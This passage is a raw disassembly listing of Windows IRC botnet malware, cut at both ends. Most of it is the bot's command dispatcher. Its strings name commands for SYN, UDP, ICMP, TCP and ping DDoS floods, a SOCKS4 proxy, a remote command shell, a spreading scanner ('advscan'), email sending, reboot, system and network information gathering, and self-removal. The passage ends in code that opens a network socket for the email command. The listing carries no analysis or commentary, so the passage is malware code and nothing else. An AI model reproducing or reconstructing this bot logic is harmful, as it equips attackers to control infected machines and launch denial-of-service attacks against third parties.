		lea	edx, [eax+1]


loc_4081BD:				; CODE XREF: sub_4078FA+8C8j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4081BD
		sub	eax, edx
		push	eax
		push	[ebp+var_98]
		lea	eax, [ebp+var_3AC]
		push	eax
		call	sub_414380
		add	esp, 0Ch
		mov	ebx, eax
		neg	ebx
		sbb	ebx, ebx
		add	ebx, 4
		mov	[ebp+var_1C], ebx


loc_4081E8:				; CODE XREF: sub_4078FA+8B2j
					; sub_4078FA+8B8j
		mov	eax, ebx
		shl	eax, 2
		mov	edx, [ebp+eax+var_A4]
		test	edx, edx
		jz	loc_407B7B
		push	0Ah
		mov	edi, edx
		mov	esi, offset dword_4263D8
		pop	ecx
		xor	ebx, ebx
		repe cmpsb
		jnz	loc_40808D
		mov	esi, [ebp+var_9C]
		mov	bl, [esi]
		cmp	bl, 23h
		jz	short loc_40823B
		mov	ecx, dword_479BBC
		mov	ecx, off_42AF40[ecx*4]
		cmp	byte ptr [ecx],	0
		jz	short loc_40823B
		push	ecx
		push	esi
		push	offset dword_4263BC
		jmp	loc_407AD4
; ---------------------------------------------------------------------------


loc_40823B:				; CODE XREF: sub_4078FA+921j
					; sub_4078FA+933j
		mov	edi, edx
		push	6
		mov	esi, offset dword_4263B4
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40808D
		mov	eax, [ebp+eax+var_A0]
		test	eax, eax
		jz	loc_40808D
		cmp	bl, 23h
		jz	loc_40808D
		push	eax
		push	[ebp+var_9C]
		push	offset dword_42639C
		jmp	loc_407AD4
; ---------------------------------------------------------------------------


loc_408278:				; CODE XREF: sub_4078FA+82Bj
					; sub_4078FA+83Dj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40827D:				; CODE XREF: sub_4078FA+84Dj
		test	eax, eax
		jz	short loc_40829F
		inc	[ebp+var_10]
		mov	eax, [ebp+var_10]
		add	[ebp+var_8], 0B8h
		cmp	eax, dword_42B280
		jl	loc_40811A
		jmp	loc_408417
; ---------------------------------------------------------------------------


loc_40829F:				; CODE XREF: sub_4078FA+985j
		push	offset asc_4246B4 ; " :"
		push	[ebp+arg_0]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_407B7B
		mov	esi, [ebp+var_10]
		mov	cl, byte_42AE5C
		imul	esi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42AE5C
		mov	[eax+3], cl
		push	9Fh
		lea	ecx, dword_479048[esi]
		push	ecx
		add	eax, 4
		push	eax
		call	sub_412C40
		lea	eax, dword_479030[esi]
		lea	edi, [ebp+ebx+var_64]
		add	esp, 0Ch
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_AC], eax
		mov	esi, edi


loc_408302:				; CODE XREF: sub_4078FA+AAFj
		push	[ebp+var_10]
		lea	eax, [ebp+var_B8]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_413920
		add	esp, 14h
		test	eax, eax
		jz	short loc_40836E
		cmp	dword ptr [esi], 0
		jz	short loc_408373
		mov	eax, [ebp+var_AC]
		lea	edx, [eax+1]


loc_40833A:				; CODE XREF: sub_4078FA+A45j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40833A
		sub	eax, edx
		add	[ebp+var_14], eax
		jz	short loc_40839F
		push	dword ptr [esi-4]
		push	[ebp+var_14]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40839F
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40556E
		add	esp, 0Ch
		jmp	short loc_40839F
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_4078FA+A30j
		cmp	dword ptr [esi], 0
		jnz	short loc_40839F


loc_408373:				; CODE XREF: sub_4078FA+A35j
		push	2
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_412C40
		and	[ebp+var_22], 0
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40556E
		add	esp, 18h


loc_40839F:				; CODE XREF: sub_4078FA+A4Cj
					; sub_4078FA+A5Dj ...
		dec	[ebp+var_10]
		sub	esi, 4
		cmp	[ebp+var_10], 0
		jg	loc_408302
		mov	[ebp+var_10], 10h
		mov	esi, edi


loc_4083B8:				; CODE XREF: sub_4078FA+B0Bj
		push	[ebp+var_10]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_413920
		add	esp, 14h
		test	eax, eax
		jz	short loc_4083FB
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4083FB
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40556E
		add	esp, 0Ch


loc_4083FB:				; CODE XREF: sub_4078FA+AE6j
					; sub_4078FA+AECj
		dec	[ebp+var_10]
		sub	esi, 4
		cmp	[ebp+var_10], 0
		jg	short loc_4083B8
		mov	edx, [ebp+var_A8]
		mov	[ebp+var_AC], 1


loc_408417:				; CODE XREF: sub_4078FA+813j
					; sub_4078FA+9A0j
		mov	al, byte_42AE5C
		cmp	[edx], al
		jz	short loc_40842D
		cmp	[ebp+var_AC], 0
		jz	loc_408609


loc_40842D:				; CODE XREF: sub_4078FA+B24j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_40556E
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40556E
		push	[ebp+var_9C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40556E
		push	0
		push	0
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_40E7B0
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_40556E
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_40556E
		mov	esi, offset aChr ; "$chr("
		push	esi
		push	edi
		call	sub_413920
		add	esp, 14h
		jmp	loc_40858D
; ---------------------------------------------------------------------------


loc_4084A4:				; CODE XREF: sub_4078FA+C95j
		push	esi
		push	[ebp+arg_0]
		call	sub_413920
		mov	[ebp+var_A8], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+var_B8]
		push	offset asc_42635C ; ")"
		push	eax
		call	sub_413859
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_4084EB
		cmp	[ebp+var_B8], 39h
		jle	short loc_408501


loc_4084EB:				; CODE XREF: sub_4078FA+BE6j
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_412C40
		add	esp, 0Ch


loc_408501:				; CODE XREF: sub_4078FA+BEFj
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	short loc_408524
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_412F42
		pop	ecx
		mov	[ebp+var_24], al
		jmp	short loc_408535
; ---------------------------------------------------------------------------


loc_408524:				; CODE XREF: sub_4078FA+C16j
		call	sub_412D71
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_24], dl


loc_408535:				; CODE XREF: sub_4078FA+C28j
		and	[ebp+var_23], 0
		lea	eax, [ebp+var_B8]
		lea	edx, [eax+1]


loc_408542:				; CODE XREF: sub_4078FA+C4Dj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_408542
		sub	eax, edx
		mov	ecx, eax
		xor	eax, eax
		lea	edi, [ebp+var_B8]
		stosd
		stosd
		add	ecx, 6
		push	ecx
		push	[ebp+var_A8]
		stosd
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40556E
		push	esi
		push	[ebp+arg_0]
		call	sub_413920
		add	esp, 20h


loc_40858D:				; CODE XREF: sub_4078FA+BA5j
		test	eax, eax
		jnz	loc_4084A4
		mov	esi, 1FFh
		push	esi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_17E8]
		push	eax
		call	sub_412C40
		push	esi
		lea	eax, [ebp+var_17E8]
		push	eax
		lea	eax, [ebp+var_1BE8]
		push	eax
		call	sub_412C40
		mov	esi, offset asc_41FA74 ; " "
		lea	eax, [ebp+var_1BE8]
		push	esi
		push	eax
		call	sub_413859
		xor	edi, edi
		add	esp, 20h
		mov	[ebp+var_A4], eax
		inc	edi


loc_4085DC:				; CODE XREF: sub_4078FA+CF7j
		push	esi
		push	0
		call	sub_413859
		mov	[ebp+edi*4+var_A4], eax
		inc	edi
		cmp	edi, 20h
		pop	ecx
		pop	ecx
		jl	short loc_4085DC
		lea	eax, [ebp+ebx+var_A4]
		mov	ecx, [eax]
		test	ecx, ecx
		jz	loc_407B7B
		add	ecx, 3
		mov	[eax], ecx


loc_408609:				; CODE XREF: sub_4078FA+B2Dj
		mov	eax, [ebp+ebx+var_A4]
		push	8
		mov	edi, eax
		mov	esi, offset aRndnick ; "rndnick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		mov	[ebp+var_20], eax
		jz	loc_40CF95
		push	3
		mov	edi, eax
		mov	esi, offset aRn	; "rn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CF95
		push	4
		mov	edi, eax
		mov	esi, offset aDie ; "die"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C4A9
		push	2
		mov	edi, eax
		mov	esi, offset aD	; "d"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C4A9
		push	7
		mov	edi, eax
		mov	esi, offset aLogout ; "logout"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C3BB
		push	3
		mov	edi, eax
		mov	esi, offset aLo	; "lo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C3BB
		push	8
		mov	edi, eax
		mov	esi, offset aVersion ; "version"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C39D
		push	4
		mov	edi, eax
		mov	esi, offset aVer ; "ver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C39D
		push	7
		mov	edi, eax
		mov	esi, offset aSecure ; "secure"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C28F
		push	4
		mov	edi, eax
		mov	esi, offset aSec ; "sec"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C28F
		push	9
		mov	edi, eax
		mov	esi, offset aUnsecure ;	"unsecure"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C28F
		push	6
		mov	edi, eax
		mov	esi, offset aUnsec ; "unsec"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C28F
		push	7
		mov	edi, eax
		mov	esi, offset aSocks4 ; "socks4"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C16A
		push	3
		mov	edi, eax
		mov	esi, offset aS4	; "s4"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C16A
		push	0Bh
		mov	edi, eax
		mov	esi, offset aSocks4stop	; "socks4stop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408753
		push	[ebp+ebx+var_A0]
		push	12h
		push	offset aServer_0 ; "Server"
		push	offset aSocks4_0 ; "[SOCKS4]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_408753:				; CODE XREF: sub_4078FA+E3Fj
		push	0Bh
		mov	edi, eax
		mov	esi, offset aRloginstop	; "rloginstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40877B
		push	[ebp+ebx+var_A0]
		push	7
		push	offset aServer_0 ; "Server"
		push	offset aRlogind	; "[RLOGIND]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_40877B:				; CODE XREF: sub_4078FA+E67j
		push	9
		mov	edi, eax
		mov	esi, offset aHttpstop ;	"httpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4087A3
		push	[ebp+ebx+var_A0]
		push	4
		push	offset aServer_0 ; "Server"
		push	offset aHttpd	; "[HTTPD]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_4087A3:				; CODE XREF: sub_4078FA+E8Fj
		push	8
		mov	edi, eax
		mov	esi, offset aLogstop ; "logstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4087CB
		push	[ebp+ebx+var_A0]
		push	1Dh
		push	offset aLogList	; "Log list"
		push	offset aLog	; "[LOG]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_4087CB:				; CODE XREF: sub_4078FA+EB7j
		push	0Dh
		mov	edi, eax
		mov	esi, offset aRedirectstop ; "redirectstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4087F3
		push	[ebp+ebx+var_A0]
		push	11h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset aRedirect_0 ; "[REDIRECT]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_4087F3:				; CODE XREF: sub_4078FA+EDFj
		push	0Ah
		mov	edi, eax
		mov	esi, offset aDdos_stop ; "ddos.stop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40881B
		push	[ebp+ebx+var_A0]
		push	0Bh
		push	offset aDdosFlood ; "DDoS flood"
		push	offset aDdos	; "[DDoS]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_40881B:				; CODE XREF: sub_4078FA+F07j
		push	8
		mov	edi, eax
		mov	esi, offset aSynstop ; "synstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408843
		push	[ebp+ebx+var_A0]
		push	0Ch
		push	offset aSynFlood ; "Syn	flood"
		push	offset aSyn	; "[SYN]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_408843:				; CODE XREF: sub_4078FA+F2Fj
		push	8
		mov	edi, eax
		mov	esi, offset aUdpstop ; "udpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40886B
		push	[ebp+ebx+var_A0]
		push	10h
		push	offset aUdpFlood ; "UDP	flood"
		push	offset aUpd	; "[UPD]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_40886B:				; CODE XREF: sub_4078FA+F57j
		push	9
		mov	edi, eax
		mov	esi, offset aPingstop ;	"pingstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408893
		push	[ebp+ebx+var_A0]
		push	0Fh
		push	offset aPingFlood ; "Ping flood"
		push	offset aPing_1	; "[PING]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_408893:				; CODE XREF: sub_4078FA+F7Fj
		push	9
		mov	edi, eax
		mov	esi, offset aIcmpstop ;	"icmpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4088BB
		push	[ebp+ebx+var_A0]
		push	0Eh
		push	offset aIcmpFlood ; "ICMP flood"


loc_4088B1:				; CODE XREF: sub_4078FA+FDFj
		push	offset aIcmp_0	; "[ICMP]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_4088BB:				; CODE XREF: sub_4078FA+FA7j
		push	8
		mov	edi, eax
		mov	esi, offset aTcpstop ; "tcpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4088DB
		push	[ebp+ebx+var_A0]
		push	0Dh
		push	offset aTcpFlood ; "TCP	flood"
		jmp	short loc_4088B1
; ---------------------------------------------------------------------------


loc_4088DB:				; CODE XREF: sub_4078FA+FCFj
		push	9
		mov	edi, eax
		mov	esi, offset aTftpstop ;	"tftpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408903
		push	[ebp+ebx+var_A0]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset aTftp_0	; "[TFTP]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_408903:				; CODE XREF: sub_4078FA+FEFj
		push	0Ah
		mov	edi, eax
		mov	esi, offset aProcsstop ; "procsstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C13B
		push	7
		mov	edi, eax
		mov	esi, offset aPsstop ; "psstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C13B
		push	0Ah
		mov	edi, eax
		mov	esi, offset aClonestop ; "clonestop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408953
		push	[ebp+ebx+var_A0]
		push	18h
		push	offset aClone	; "Clone"
		push	offset aClones	; "[CLONES]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_408953:				; CODE XREF: sub_4078FA+103Fj
		push	0Bh
		mov	edi, eax
		mov	esi, offset aSecurestop	; "securestop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40897B
		push	[ebp+ebx+var_A0]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset aSecure_1 ; "[SECURE]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_40897B:				; CODE XREF: sub_4078FA+1067j
		push	9
		mov	edi, eax
		mov	esi, offset aScanstop ;	"scanstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4089A3
		push	[ebp+ebx+var_A0]
		push	9
		push	offset aScan_1	; "Scan"
		push	offset aScan_0	; "[SCAN]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_4089A3:				; CODE XREF: sub_4078FA+108Fj
		push	0Ah
		mov	edi, eax
		mov	esi, offset aScanstats ; "scanstats"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C122
		push	6
		mov	edi, eax
		mov	esi, offset aStats ; "stats"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C122
		push	0Ah
		mov	edi, eax
		mov	esi, offset aReconnect ; "reconnect"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C101
		push	2
		mov	edi, eax
		mov	esi, offset aR	; "r"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C101
		push	0Bh
		mov	edi, eax
		mov	esi, offset aDisconnect	; "disconnect"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C0DF
		push	3
		mov	edi, eax
		mov	esi, offset aDc	; "dc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C0DF
		push	5
		mov	edi, eax
		mov	esi, offset aQuit_0 ; "quit"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C095
		push	2
		mov	edi, eax
		mov	esi, offset aQ	; "q"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C095
		push	7
		mov	edi, eax
		mov	esi, offset aStatus ; "status"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C056
		push	2
		mov	edi, eax
		mov	esi, offset aS_3 ; "s"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C056
		push	3
		mov	edi, eax
		mov	esi, offset aId	; "id"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C01E
		push	2
		mov	edi, eax
		mov	esi, offset aI_0 ; "i"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C01E
		push	7
		mov	edi, eax
		mov	esi, offset aReboot ; "reboot"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408AE5
		call	sub_4058F3
		test	eax, eax
		mov	eax, offset aMainRebootingS ; "[MAIN]: Rebooting system."
		jnz	short loc_408AB6
		mov	eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot	system."


loc_408AB6:				; CODE XREF: sub_4078FA+11B5j
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 1Ch
		jmp	loc_40C4A1
; ---------------------------------------------------------------------------


loc_408AE5:				; CODE XREF: sub_4078FA+11A7j
		push	8
		mov	edi, eax
		mov	esi, offset aThreads ; "threads"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BF2F
		push	2
		mov	edi, eax
		mov	esi, offset aT	; "t"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BF2F
		push	8
		mov	edi, eax
		mov	esi, offset aAliases ; "aliases"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BF0C
		push	3
		mov	edi, eax
		mov	esi, offset aAl	; "al"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BF0C
		push	4
		mov	edi, eax
		mov	esi, offset aLog_0 ; "log"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BE19
		push	3
		mov	edi, eax
		mov	esi, offset aLg	; "lg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BE19
		push	9
		mov	edi, eax
		mov	esi, offset aClearlog ;	"clearlog"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BDFD
		push	4
		mov	edi, eax
		mov	esi, offset aClg ; "clg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BDFD
		push	8
		mov	edi, eax
		mov	esi, offset aNetinfo ; "netinfo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BDC2
		push	3
		mov	edi, eax
		mov	esi, offset aNi	; "ni"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BDC2
		push	8
		mov	edi, eax
		mov	esi, offset aSysinfo ; "sysinfo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BD96
		push	3
		mov	edi, eax
		mov	esi, offset aSi	; "si"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BD96
		push	8
		mov	edi, eax
		mov	esi, offset aDestroy ; "destroy"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BD19
		push	0Bh
		mov	edi, eax
		mov	esi, offset aErradicate	; "erradicate"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BD19
		push	6
		mov	edi, eax
		mov	esi, offset aProcs ; "procs"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BBF3
		push	3
		mov	edi, eax
		mov	esi, offset aPs	; "ps"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BBF3
		push	7
		mov	edi, eax
		mov	esi, offset aUptime ; "uptime"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB6C
		push	3
		mov	edi, eax
		mov	esi, offset aUp	; "up"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB6C
		push	0Ah
		mov	edi, eax
		mov	esi, offset aDriveinfo ; "driveinfo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB4F
		push	4
		mov	edi, eax
		mov	esi, offset aDrv ; "drv"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB4F
		push	9
		mov	edi, eax
		mov	esi, offset aTestdlls ;	"testdlls"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB36
		push	4
		mov	edi, eax
		mov	esi, offset aDll ; "dll"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB36
		push	8
		mov	edi, eax
		mov	esi, offset aOpencmd ; "opencmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BAF7
		push	5
		mov	edi, eax
		mov	esi, offset aOcmd ; "ocmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BAF7
		push	8
		mov	edi, eax
		mov	esi, offset aCmdstop ; "cmdstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_408CED
		push	[ebp+ebx+var_A0]
		push	8
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd_0	; "[CMD]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_408CED:				; CODE XREF: sub_4078FA+13D9j
		push	4
		mov	edi, eax
		mov	esi, offset aWho ; "who"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40902C
		cmp	[ebp+var_C], edx
		jnz	short loc_408D20
		push	edx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_408D20:				; CODE XREF: sub_4078FA+140Aj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_408D25:				; CODE XREF: sub_4078FA+1472j
		cmp	byte ptr [edi],	0
		lea	eax, [edi+1]
		jnz	short loc_408D32
		mov	eax, offset aEmpty ; "<Empty>"


loc_408D32:				; CODE XREF: sub_4078FA+1431j
		push	eax
		push	esi
		lea	eax, [ebp+var_2E0]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_412BB5
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_408D25
		push	offset aMainLoginListC ; "[MAIN]: Login	list complete."
		call	sub_401C33
		mov	eax, [ebp+var_20]
		pop	ecx


loc_408D7C:				; CODE XREF: sub_4078FA+22DDj
					; sub_4078FA+4BC1j
		mov	ecx, [ebp+ebx+var_94]
		test	ecx, ecx
		mov	[ebp+var_14], ecx
		jz	loc_407B7B
		push	8
		mov	edi, eax
		mov	esi, offset aAdvscan ; "advscan"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CB69
		push	4
		mov	edi, eax
		mov	esi, offset aAsc ; "asc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CB69
		push	9
		mov	edi, eax
		mov	esi, offset aUdpflood ;	"udpflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CA12
		push	4
		mov	edi, eax
		mov	esi, offset aUdp ; "udp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CA12
		push	2
		mov	edi, eax
		mov	esi, offset aU	; "u"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CA12
		push	0Ah
		mov	edi, eax
		mov	esi, offset aPingflood ; "pingflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C8CF
		push	5
		mov	edi, eax
		mov	esi, offset aPing_0 ; "ping"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C8CF
		push	2
		mov	edi, eax
		mov	esi, offset aP	; "p"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C8CF
		push	9
		mov	edi, eax
		mov	esi, offset aTcpflood ;	"tcpflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C6C4
		push	4
		mov	edi, eax
		mov	esi, offset aTcp ; "tcp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C6C4
		push	6
		mov	edi, eax
		mov	esi, offset aEmail ; "email"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40C4CE
		mov	eax, [ebp+ebx+var_A0]
		lea	edx, [ebp+var_B70]
		sub	edx, eax


loc_408E79:				; CODE XREF: sub_4078FA+1587j
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_408E79
		push	[ebp+ebx+var_9C]
		call	sub_412F42
		mov	esi, eax
		mov	eax, [ebp+ebx+var_98]
		lea	edx, [ebp+var_18E8]
		pop	ecx
		sub	edx, eax


loc_408EA1:				; CODE XREF: sub_4078FA+15AFj
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_408EA1
		mov	eax, [ebp+var_14]
		lea	edx, [ebp+var_1340]
		sub	edx, eax


loc_408EB6:				; CODE XREF: sub_4078FA+15C4j
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_408EB6
		push	offset asc_41FA74 ; " "
		push	offset a_	; "_"
		push	[ebp+ebx+var_90]
		call	sub_40556E
		add	esp, 0Ch
		lea	edx, [ebp+var_19E8]


loc_408EDF:				; CODE XREF: sub_4078FA+15EDj
		mov	cl, [eax]
		inc	eax
		mov	[edx], cl
		inc	edx
		test	cl, cl
		jnz	short loc_408EDF
		lea	eax, [ebp+var_1D78]
		push	eax
		push	101h
		call	dword_4334B0	; WSAStartup
		lea	eax, [ebp+var_B70]
		push	eax
		call	dword_433500	; gethostbyname
		push	6
		push	1
		push	2
		mov	ebx, eax
		call	dword_4334A0	; socket
		mov	edi, eax
		mov	[ebp+var_C8], 2
		mov	eax, [ebx+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		push	esi
		mov	[ebp+var_C4], eax
		call	dword_4335EC	; ntohs
		mov	[ebp+var_C6], ax
		lea	eax, [ebp+var_19E8]
		push	eax
		lea	eax, [ebp+var_18E8]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	eax
		lea	eax, [ebp+var_1340]
		push	eax
		lea	eax, [ebp+var_18E8]
		push	eax
		lea	eax, [ebp+var_2178]
